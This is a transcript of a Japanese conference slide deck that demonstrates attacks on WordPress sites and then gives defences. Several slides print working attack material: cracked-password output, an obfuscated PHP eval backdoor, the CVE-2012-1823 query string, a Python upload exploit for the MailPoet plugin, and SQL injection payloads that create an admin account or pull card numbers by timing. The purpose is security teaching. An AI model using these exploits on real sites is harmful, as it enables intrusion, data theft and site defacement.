Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)

27,221 views

Published on

Wordcamp Tokyo 2015における講演資料です。一部追記しました。

Published in: Technology
  • Be the first to comment

Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)

  1. 1. Webサイトをめぐるセキュリティ状況と効果的な防御方法 ~WordPressを題材として~ 2015年10月31日 HASH コンサルティング株式会社 代表取締役 徳丸 浩
  2. 2. アジェンダ • Webサイトへの侵入経路とは • 怒涛のWordPressサイトへの侵入デモ6連発 – パスワードクラック – PHPの脆弱性に対する攻撃 – プラグイン脆弱性に対する攻撃 – シンボリックリンク攻撃 – SQLインジェクション攻撃 – JSON HashDos • 対策の考え方 2 Copyright © 2012-2015 HASH Consulting Corp.
  3. 3. 徳丸浩の自己紹介 • 経歴 – 1985年 京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/ – 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/ – 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月) – 技術士(情報工学部門) – 社員募集中 Copyright © 2012-2015 HASH Consulting Corp. 3
  4. 4. Webサイトへの侵入経路は2種類しかない • 管理用ツールの認証を突破される – telnet, FTP, SSH等のパスワードを推測される – FTP等のパスワードがマルウェア経由で漏洩する • ソフトウェアの脆弱性を悪用される – 基盤ソフトウェアの脆弱性を悪用される • Apache, PHP, JRE(Java), Tomcat, … • 脆弱性は世界中で調査され、日々新たな脆弱性が報告さ れる – アプリケーションの脆弱性を悪用される • 個別のアプリケーションの脆弱性 • SQLインジェクションなど Copyright © 2012-2015 HASH Consulting Corp. 4
  5. 5. WordPressの場合の主な侵入経路 • 管理用ツールの認証を突破される – WordPressのパスワードを推測される – FTP等のパスワードがマルウェア経由で漏洩する • PHPの脆弱性 • WordPress本体の脆弱性 • WordPressのプラグインの脆弱性 • カスタマイズ部分の脆弱性 Copyright © 2012-2015 HASH Consulting Corp. 5 今日は全部 やってみます
  6. 6. 攻撃を受けるとどうなるか? • 情報漏洩 – サーバー内の重要情報、個人情報等が外部に漏洩する – Aさんの情報をBさんが見てしまう事故(別人問題)も漏洩に分 類する • データ改ざん – DB、ファイルの書き換え、 – 画面の改変 – スクリプトやiframeを埋め込み、閲覧者がマルウェアに感染 • DoS攻撃 – サービス停止に追い込む • なりすまし – 別人になりすまして操作ができる Copyright © 2012-2015 HASH Consulting Corp. 6 今日は全部 やってみます
  7. 7. 管理用ツールの認証を突破される • WordPressのパスワードを推測される Copyright © 2012-2015 HASH Consulting Corp. 7
  8. 8. 定番ツールWPScanでクラックしてみよう Copyright © 2012-2015 HASH Consulting Corp. 8 http://wpscan.org/
  9. 9. Copyright © 2012-2015 HASH Consulting Corp. 9 デモ: • WPScanによるパスワードクラック [!] Default first WordPress username 'admin' is still used [+] Starting the password brute forcer Brute Forcing 'admin' Time: 00:00:11 <====== > (49 / 51) 96.07% Brute Forcing 'yamada' Time: 00:00:07 <===== > (50 / 51) 98.03% [+] [SUCCESS] Login : yamada Password : tigger +----+--------+------+----------+ | Id | Login | Name | Password | +----+--------+------+----------+ | 1 | admin | | | | 4 | yamada | | tigger | +----+--------+------+----------+
  10. 10. PHPの脆弱性 Copyright © 2012-2015 HASH Consulting Corp. 10
  11. 11. ロリポップのサイト改ざん事件(1) あるサイトの.htaccessが改ざんされていました。 【元】 AddHandler application/x-httpd-php .html 【改ざん】 AddHandler application/x-httpd-php .png →「pngファイルをphpととして読み込む」的なもの? そして.htaccessと同じ階層に、「.****.png」という不可解なファイル。 それをファイルとして開いてみると <?php ($_=$_POST).($_1=’_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?> というコードが記載。なにこれこわい。 ※あとファイル更新時間でソートをかけたらindex.bak.phpみたいなファイルがありました(消してしまったのでうろ覚 え)。 11http://www.baka-ke.com/2012/05/16/htaccess-kaizan-png-eval/ より引用
  12. 12. ロリポップのサイト改ざん事件(2) .htaccess改ざんの件、恐らく完結 .htaccess改ざんの件についての続きです。原因が特定され、解決しているかと思います。 これまでの記事: .htaccessの改ざんを受けていた .htaccess改ざんの件、続き パシ様のブログにて、CGI版PHPの脆弱性ではないかという指摘が出ていました。 WordPressサイトの.htaccessが改ざんされている件 – 謎のindex.bak.php | WP SEOブログ この攻撃についての手口は下記のページにて書かれています。 CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記 今日の昼間自分が発見したアクセスログもまさにこれで、こういうPOSTリクエストがありました。(実際はこれをURL エンコードしていた) /?-n+-d+disable_functions=%22%22+-d+safe_mode=0+-d+suhosin.simulation=1+-d+open_basedir=none+- d+allow_url_include=1+-d+allow_url_fopen=1+-d+auto_prepend_file=php://input これは上のページにあるCGI版PHPへの脆弱性攻撃そのままで、これで.htaccessを上書きされていたようです。 12http://www.php-zfex.jp/blog/2012/05/23/htaccess-kaizan_3/ より引用
  13. 13. Copyright © 2012-2015 HASH Consulting Corp. 13 デモ: • CGI版PHPのスクリプト実行可能な脆弱性 CVE-2012-1823により、××ポップを狙った 攻撃を再現 • PNG画像に偽装したPHPスクリプトにより、 JavaScriptファイルを差し替え、サイト閲覧 者にウイルス感染させる
  14. 14. WordPress本体の脆弱性 Copyright © 2012-2015 HASH Consulting Corp. 14
  15. 15. WordPressは他のCMSと比べて 脆弱なのか? Copyright © 2012-2015 HASH Consulting Corp. 15
  16. 16. そうとは言えない Copyright © 2012-2015 HASH Consulting Corp. 16
  17. 17. 17 http://www.atmarkit.co.jp/ait/articles/1510/30/news069.html より引用 JoomlaのSQLインジェクション
  18. 18. Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」 オープンソースのコンテンツ管理システム(CMS)「Drupal」に極めて深 刻な脆弱(ぜいじゃく)性が見つかった問題で、Drupalは10月29日、脆弱 性修正のパッチを直後に適用しなかったWebサイトは侵入された可能性 があると警告した。米セキュリティ機関のUS-CERTも、アップデートや回 避策の適用を呼びかけている。 問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.xに存在 する。悪用された場合、攻撃者にバックドアを仕掛けられ、サイトの全デー タをコピーされる恐れがある。攻撃の痕跡は残らない。この脆弱性を修正 した「Drupal 7.32」は10月15日にリリースされた。 Drupalによると、この10月15日の発表の直後から、脆弱性を修正してい ないWebサイトに対する攻撃が始まった。「すべてのDrupal 7サイトは、世 界協定時間の10月15日午後11時(日本時間16日午前8時)までにアップ デートまたはパッチを適用していない限り、破られたと想定して対処しなけ ればならない」とDrupalは警告する。 18http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html より引用
  19. 19. WordPressのプラグインの脆弱性 …は残念ながら多い Copyright © 2012-2015 HASH Consulting Corp. 19
  20. 20. 20 http://www.itmedia.co.jp/enterprise/articles/1407/03/news040.html より引用
  21. 21. JVNDB-2014-003582 WordPress 用 MailPoet Newsletters プラグインにおける認証を回避される脆弱性 概要 WordPress 用 MailPoet Newsletters (wysija-newsletters) プラグインには、認証を回避され、任意 の PHP コードを実行される脆弱性が存在します。 CVSS による深刻度 (CVSS とは?) • 基本値: 7.5 (危険) [NVD値] • 攻撃元区分: ネットワーク • 攻撃条件の複雑さ: 低 • 攻撃前の認証要否: 不要 • 機密性への影響(C): 部分的 • 完全性への影響(I): 部分的 • 可用性への影響(A): 部分的 影響を受けるシステム MailPoet • MailPoet Newsletters 2.6.7 未満 想定される影響 第三者により、wp-admin/admin-post.php を使用する巧妙に細工されたテーマをアップロードされ、 wp-content/uploads/wysija/themes/mailp/ 内のテーマにアクセスされることで、認証を回避され、任 意の PHP コードを実行される可能性があります。 21 http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-003582.html より引用
  22. 22. 巧妙に細工されたテーマ? Copyright © 2012-2015 HASH Consulting Corp. 22
  23. 23. PoC #!/usr/bin/env python # -*- coding: utf-8 -*- from random import choice import string import sys import re from zipfile import ZipFile from StringIO import StringIO import requests from colors import red, green, blue # pip install ansicolors def version_compare(v1, v2): def normalize(v): return [int(x) for x in re.sub(r'(.0+)*$', '', v).split(".")] return cmp(normalize(v1), normalize(v2)) def create_zip_file(theme_name, payload_name, payload): files = { "%s/%s" % (theme_name, 'style.css'): '', "%s/%s" % (theme_name, payload_name): payload } zip_file = StringIO() with ZipFile(zip_file, 'w') as zip: for path in files: zip.writestr(path, files[path]) zip_file.seek(0) return zip_file def check(url): readme_url = "%s/wp-content/plugins/wysija-newsletters/readme.txt" % url res = requests.get(readme_url, timeout=15, verify=False) if res.status_code == 200: match = re.search("stable tag: (.*)[rn]", res.text, re.I) version = match.group(1) fun = green if version_compare(version, "2.6.7") < 0 else blue print fun("[?] found version: %s" % version) return version_compare(version, "2.6.7") < 0 else: raise Exception("error getting version") def exploit(url, payload_data): theme_name = '.tmp' # better to keep the chaos to one directory. payload_name = ''.join([choice(string.letters) for i in range(5)]) + ".php" zip_file = create_zip_file(theme_name, payload_name, payload_data) files = {'my-theme': ('%s.zip' % theme_name, zip_file, "application/x-zip-compressed")} data = { "action": "themeupload", "submitter": "Upload", "overwriteexistingtheme": "on" } target_url = "%s/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" % url payload_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wysija/themes', theme_name, payload_name) print blue("[?] attempting to upload zip (%s)..." % target_url) # Don't rely on checking response, have observed some strange behaviour even with successful upload requests.post(target_url, files=files, data=data, verify=False, timeout=15) print blue("[?] checking upload (%s)..." % payload_url) response = requests.head(payload_url, verify=False, timeout=15) if response.status_code == 200: print green("[+] found: %s" % payload_url) return payload_url else: raise Exception("upload failed.") if __name__ == "__main__": if len(sys.argv) > 2: payload = open(sys.argv[1]).read() wp_url = sys.argv[2] try: if check(wp_url): res = exploit(wp_url, payload) if res: with open("found-sija.log", "a") as log: log.write("%sn" % res) except Exception as e: print red("[!] %s - %s" % (wp_url, e)) 23https://github.com/nosecurity/cve-2014-xxxx-mailpoet-newsletters より引用
  24. 24. 難しいので、最低限の形に単純化 してみる Copyright © 2012-2015 HASH Consulting Corp. 24
  25. 25. 単純化したら、とても簡単になったw <body> <form action="http://suzuki.jp/wp-admin/admin-post.php? page=xxxxxxxxxxxx&amp;action=xxxxx" method="post" enctype="multipart/form-data"> <input type="text" name="action" value="xxxxxxxxx"> <input type="text" name="submitter" value="xxxxxxx"> <input type="text" name="xxxxxxxxxxxxx" value="xx"> <input type="file" name="xxxxxxxxx"> <input type="submit" value="攻撃"> </form><br> </body> Copyright © 2012-2015 HASH Consulting Corp. 25 要はファイルを アップロードするだけ
  26. 26. "巧妙に細工したテーマ"はこんな感じ $ unzip -v exploit.zip Archive: exploit.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 0 Stored 0 0% 2015-10-06 23:11 00000000 exploit/index.html 0 Stored 0 0% 2015-10-06 23:00 00000000 exploit/screenshot.jpg 674 Defl:N 404 40% 2015-10-10 23:26 ad2aad5f exploit/style.css 0 Stored 0 0% 2015-10-06 23:11 00000000 exploit/index.php 94 Defl:N 82 13% 2015-10-06 23:14 4eba8413 exploit/webshell.php -------- ------- --- ------- 768 486 37% 5 files $ Copyright © 2012-2015 HASH Consulting Corp. 26 徳丸が最初に作成した WordPressテーマですw
  27. 27. Copyright © 2012-2015 HASH Consulting Corp. 27 デモ: • MailPoetプラグインの脆弱性を悪用し て、WebShellをアップロード
  28. 28. シンボリックリンク攻撃による情報 漏えい Copyright © 2012-2015 HASH Consulting Corp. 28
  29. 29. Copyright © 2012-2015 HASH Consulting Corp. 29
  30. 30. レンタルサーバーの権限モデル Copyright © 2012-2015 HASH Consulting Corp. 30 /home/suzuki/ /home/tanaka rwx-----x suzuki.LolipopUser rwx-----x tanaka.LolipopUser wp-config.php Apache 権限:nobody コマンド 権限:tanaka コマンド 権限:suzuki rw----r-- suzuki.LolipopUser ファイルのオーナー 別のユーザー Webサーバー
  31. 31. シンボリックリンク攻撃 Copyright © 2012-2015 HASH Consulting Corp. 31 /home/tanaka/ /home/suzuki rwx-----x 所有者:tanaka rwx-----x 所有者: suzuki wp-config.php rwxrwxrwx 所有者: suzuki wp-config.txt Apache 権限:nobody コマンド 権限:suzuki コマンド 権限:suzuki シンボリックリンク rw----r-- 所有者: tanaka 拡張子が.txtなの でソースが閲覧可
  32. 32. Copyright © 2012-2015 HASH Consulting Corp. 32 デモ: • 先ほどsuzukiサイトに設置した WebShellにより、tanakaサイトのwp- config.phpにシンボリックリンクを設置 • MySQLのパスワードを窃取 • phpMyAdminによりコンテンツを改ざん
  33. 33. シンボリックリンク攻撃のまとめ • シンボリックリンクは誰でも作成できる – 権限のないファイルなどにも可能 – ただし、権限のないファイルを読むことはできない • シンボリックリンクを上位権限を持つプロセス(Apache等)に読み 込ませるのがシンボリックリンク攻撃 • レンタルサーバー運営者はシンボリックリンクを制限すること – FollowSymLinksの禁止 または – SymLinksIfOwnerMatch – ※ Apacheの実装が十分でなく、これは緩和策にしかならない • レンタルサーバー利用者はファイルパーミッションに注意 – HTMLや画像は604 等 – PHP スクリプトは 600 ← これでシンボリックリンク攻撃は防げる – CGI スクリプトは 700 Copyright © 2012-2015 HASH Consulting Corp. 33
  34. 34. カスタマイズ部分の脆弱性 Copyright © 2012-2015 HASH Consulting Corp. 34
  35. 35. サイトにキャンペーン応募ページを追加 35 Copyright © 2012-2015 HASH Consulting Corp.
  36. 36. SQLインジェクション脆弱性のあるソース <?php $name = $_REQUEST['name']; $mail = $_REQUEST['mail']; $address = $_REQUEST['address']; try { $con = new PDO("mysql:host=localhost;dbname=db;charset=utf8", … $con->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $sql = "INSERT INTO entries VALUES('$name', '$mail', '$address')"; $result = $con->exec($sql); } catch (PDOException $e) { // 何もしない } ?> <p>登録しました</p> Copyright © 2012-2015 HASH Consulting Corp. 36 ここにSQLインジェクション 表示がないので 情報は漏洩しない?
  37. 37. SQLインジェクション攻撃にはプレフィックスとデータベース名が必要 -- ユーザー crack パスワード a のユーザを作成 INSERT INTO wpdb.wp_users VALUES(NULL, 'crack', MD5('a'), 'crack', 'crack@example.jp', '', NOW(), '', 0, 'crack'); # -- ユーザテストに管理者権限を割当 INSERT INTO wpdb.wp_usermeta SELECT NULL, (SELECT ID FROM wpdb.wp_users WHERE user_login='crack'), meta_key, meta_value FROM wpdb.wp_usermeta WHERE user_id=(SELECT user_id FROM wpdb.wp_usermeta WHERE meta_key='wp_user_level' and meta_value='10' LIMIT 1); # プレフィックス wp_ とデータベース名 wpdb を一般的なものから変えれは攻撃 が難しくなると信じられているが… これらもSQLインジェクション攻撃で盗むことができる! Copyright © 2012-2015 HASH Consulting Corp. 37
  38. 38. 時間差を利用して情報を盗む(Time based SQLi) • sleep関数で 5秒待ち合わせ INSERT INTO entries VALUES('', (SELECT sleep(5)), null) -- ', '', '') • eccube_db.dtb_customer_cardテーブル1行目のcardnumber 列1文字目が 5 の場合のみ5秒待つ INSERT INTO entries VALUES('',(select if(substr((select cardnumber from eccube_db.dtb_customer_card limit 0,1),1,1) = '1',sleep(5),0)), null) -- ','') • これを繰り返すことにより、ECサイトのカード情報を求められる Copyright © 2012-2015 HASH Consulting Corp. 38 続きはデモで 参考: http://blog.tokumaru.org/2012/12/blind-sql-injection-php-exploit.html
  39. 39. Copyright © 2012-2015 HASH Consulting Corp. 39 デモ: • Time based SQLインジェクションにより、 WordPressのデータベース名とプレ フィックスを盗む • SQLインジェクション攻撃により、新しい ユーザとロールを作成 • 作成した管理者ユーザでログイン
  40. 40. One more thing… Copyright © 2012-2015 HASH Consulting Corp. 40
  41. 41. 41 http://blog.hash-c.co.jp/2015/10/phpjson-hashdos.html より引用
  42. 42. json_decodeの入力値でハッシュコリジョンを発生 $body = file_get_contents('php://input'); // POSTデータを取得 $params = json_decode($body); // POSTデータをJSONと してデコード PoC: {"4vq":"key1", "4wP":"key2", "5Uq":"key3", "5VP":"key4", "64q":"key5" … } hash('4vq') = b879fc0 hash('4wP') = b879fc0 hash('5Uq') = b879fc0 hash('5VP') = b879fc0 hash('64q') = b879fc0 … Copyright © 2012-2015 HASH Consulting Corp. 42
  43. 43. Copyright © 2012-2015 HASH Consulting Corp. 43 デモ: • WordPress 3.8までに存在したJSON HashDos可能なファイルを攻撃して、 サイトをアクセス不能にする • WordPress 3.9以降にはこのファイル はありません
  44. 44. 対策の考え方 44 Copyright © 2012-2015 HASH Consulting Corp.
  45. 45. パスワード! パスワード! パスワード! • 極論するとユーザ名は"admin"でもよい – adminだと自動攻撃に狙われるのでウザいということ はある • とにかくパスワードをちゃんとすることが重要 – 8文字以上 – 英数字を混ぜる – 辞書に載っている単独はだめ – できればランダム文字列 – 他所で使ってないもの 【重要】 – 管理者が複数存在する場合は、管理者毎にユー ザーを作成する Copyright © 2012-2015 HASH Consulting Corp. 45
  46. 46. ソフトウェアのバージョンアップまたはパッチ適用 • 脆弱性対処は、バージョンアップまたはパッチ適 用が基本 – 自らビルド等している場合はバージョンアップが楽な 場合が多い – CentOS、Debian、Ubuntu等のディストリビューショ ンのパッケージを導入している場合はパッチ適用 • バージョンアップするとサイトが動かなくなる…な んて心配をしないで、とにかくバージョンアップす ること • 自力でトラブル対処ができないソフトは導入しな いこと Copyright © 2012-2015 HASH Consulting Corp. 46
  47. 47. SiteGuard WP Pluginのすすめ Copyright © 2012-2015 HASH Consulting Corp. 47 https://wordpress.org/plugins/siteguard/ • SiteGuard の不正ログイン防止に特化したプラグイン • 簡単に導入できて効果が高い • プラグイン自体の脆弱性対策がなされている(重要)
  48. 48. WAF(Web Application Firewall) 48情報処理推進機構(IPA) WAF読本より引用
  49. 49. SiteGuard WP PluginとWAFで何が防御できる? SiteGuard WP Plugin WAF パスワード辞書攻撃 ◎ ○ PHP-CGI ◎ MailPoet アップロードバグ ◎ シンボリックリンク攻撃 SQLインジェクション ◎ JSON HashDos ○ Copyright © 2012-2015 HASH Consulting Corp. 49
  50. 50. SQLインジェクションは絶対だめ • 対策は、とにかくプレースホルダを使うこと • 外部入力をSQL文に混ぜない • WordPressの場合 – $wpdb->prepare('SELECT * … WHERE user_login = %s', $username); • ピュアPHPの場合 – PDOを使う – プレースホルダ – DB接続時に文字エンコーディング指定を忘れない – バインド時に型を指定する Copyright © 2012-2015 HASH Consulting Corp. 50
  51. 51. どんなサーバーを借りたらよいか? Copyright © 2012-2015 HASH Consulting Corp. 51 セキュリティ対策 IaaS/VPS PaaS/レンサバ SaaS WAF 利用者 (事業者) - PHP/Apache 利用者 事業者 事業者 WordPress 利用者 利用者 事業者 プラグイン 利用者 利用者 事業者 カスタマイズ部分 利用者 利用者 - パスワード 利用者 利用者 利用者 • IaaSやVPSは利用者が「全て」の対応をする必要がある • PaaSやレンタルサーバーはインフラの面倒は見てくれる • SaaSの場合、パスワードさえしっかり管理すれば
  52. 52. サーバーはどれがいいの? • 一番良いのはWordPressを自分で建てない • レンタルサーバーは意外に良い – パッチ適用をやってくれる – 最近のレンサバはWAFがついてくる • VPSやIaaSを使うのなら相応の"覚悟"を – パッチは全部自分であてる – WAFは… Copyright © 2012-2015 HASH Consulting Corp. 52
  53. 53. Copyright © 2012-2015 HASH Consulting Corp. 53 まとめ • WordPressを題材として、Webサイトへの不正ア クセスの手法を紹介 – 不正ログイン – プラットフォーム(PHP等)の脆弱性の悪用 – オープンソースのアプリケーションの脆弱性の悪用 – 自作カスタマイズ部分の脆弱性の悪用 • 不正ログイン対策は、とにかく良質のパスワード をつけること • 脆弱性対策は、パッチ適用かバージョンアップ • 自作アプリケーションの脆弱性対応

×